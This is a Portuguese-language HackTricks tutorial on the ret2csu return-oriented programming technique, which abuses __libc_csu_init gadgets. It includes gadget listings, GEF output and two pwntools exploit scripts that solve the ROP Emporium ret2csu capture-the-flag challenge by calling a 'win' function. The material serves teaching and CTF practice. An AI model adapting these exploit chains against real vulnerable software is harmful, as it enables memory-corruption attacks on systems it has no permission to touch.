Ret2csu

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

ret2csu é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os gadgets que costuma usar para manipular o comportamento do programa.

Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções internas para gerenciar como diferentes partes do programa se comunicam entre si. Entre essas funções, existem algumas joias escondidas que podem atuar como nossos gadgets ausentes, especialmente uma chamada __libc_csu_init.

Os Gadgets Mágicos em __libc_csu_init

Em __libc_csu_init, existem duas sequências de instruções (gadgets) a serem destacadas:

  1. A primeira sequência nos permite configurar valores em vários registradores (rbx, rbp, r12, r13, r14, r15). Estes são como slots onde podemos armazenar números ou endereços que queremos usar posteriormente.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Este gadget nos permite controlar esses registradores ao retirar valores da pilha e colocá-los neles.

  1. A segunda sequência utiliza os valores que configuramos para fazer algumas coisas:

  • Mover valores específicos para outros registradores, preparando-os para serem usados como parâmetros em funções.

  • Realizar uma chamada a uma localização determinada somando os valores em r15 e rbx, e então multiplicando rbx por 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Talvez você não saiba nenhum endereço para escrever lá e você precisa de uma instrução ret. Note que o segundo gadget também terminará em um ret, mas você precisará atender a algumas condições para alcançá-lo:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

As condições serão:

  • [r12 + rbx*8] deve apontar para um endereço que armazena uma função chamável (se não tiver ideia e não tiver PIE, você pode simplesmente usar a função _init):

  • Se _init estiver em 0x400560, use o GEF para procurar por um ponteiro na memória para ele e faça [r12 + rbx*8] ser o endereço com o ponteiro para _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp e rbx devem ter o mesmo valor para evitar o salto

  • Existem alguns pops omitidos que você precisa levar em consideração

RDI e RSI

Outra maneira de controlar rdi e rsi do gadget ret2csu é acessando offsets específicos:

Verifique esta página para mais informações:

pageBROP - Blind Return Oriented Programming

Exemplo

Usando a chamada

Imagine que você queira fazer uma chamada de sistema ou chamar uma função como write(), mas precisa de valores específicos nos registradores rdx e rsi como parâmetros. Normalmente, você procuraria por gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.

Aqui é onde o ret2csu entra em ação:

  1. Configurar os Registradores: Use o primeiro gadget mágico para desempilhar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.

  2. Usar o Segundo Gadget: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para rdx e rsi (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, controlando r15 e rbx, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em [r15 + rbx*8].

Você tem um exemplo usando essa técnica e explicando-a aqui, e este é o exploit final que foi usado:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Note que o exploit anterior não tem como objetivo fazer um RCE, ele tem como objetivo apenas chamar uma função chamada win (pegando o endereço de win do stdin chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor 0xdeadbeefcafed00d.

Bypassando a chamada e alcançando o ret

O exploit a seguir foi extraído desta página onde o ret2csu é usado, mas em vez de usar a chamada, está bypassando as comparações e alcançando o ret após a chamada:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Por que não usar diretamente a libc?

Normalmente esses casos também são vulneráveis ao ret2plt + ret2lib, mas às vezes você precisa controlar mais parâmetros do que são facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função write() requer três parâmetros, e encontrar gadgets para definir todos esses diretamente pode não ser possível.

Last updated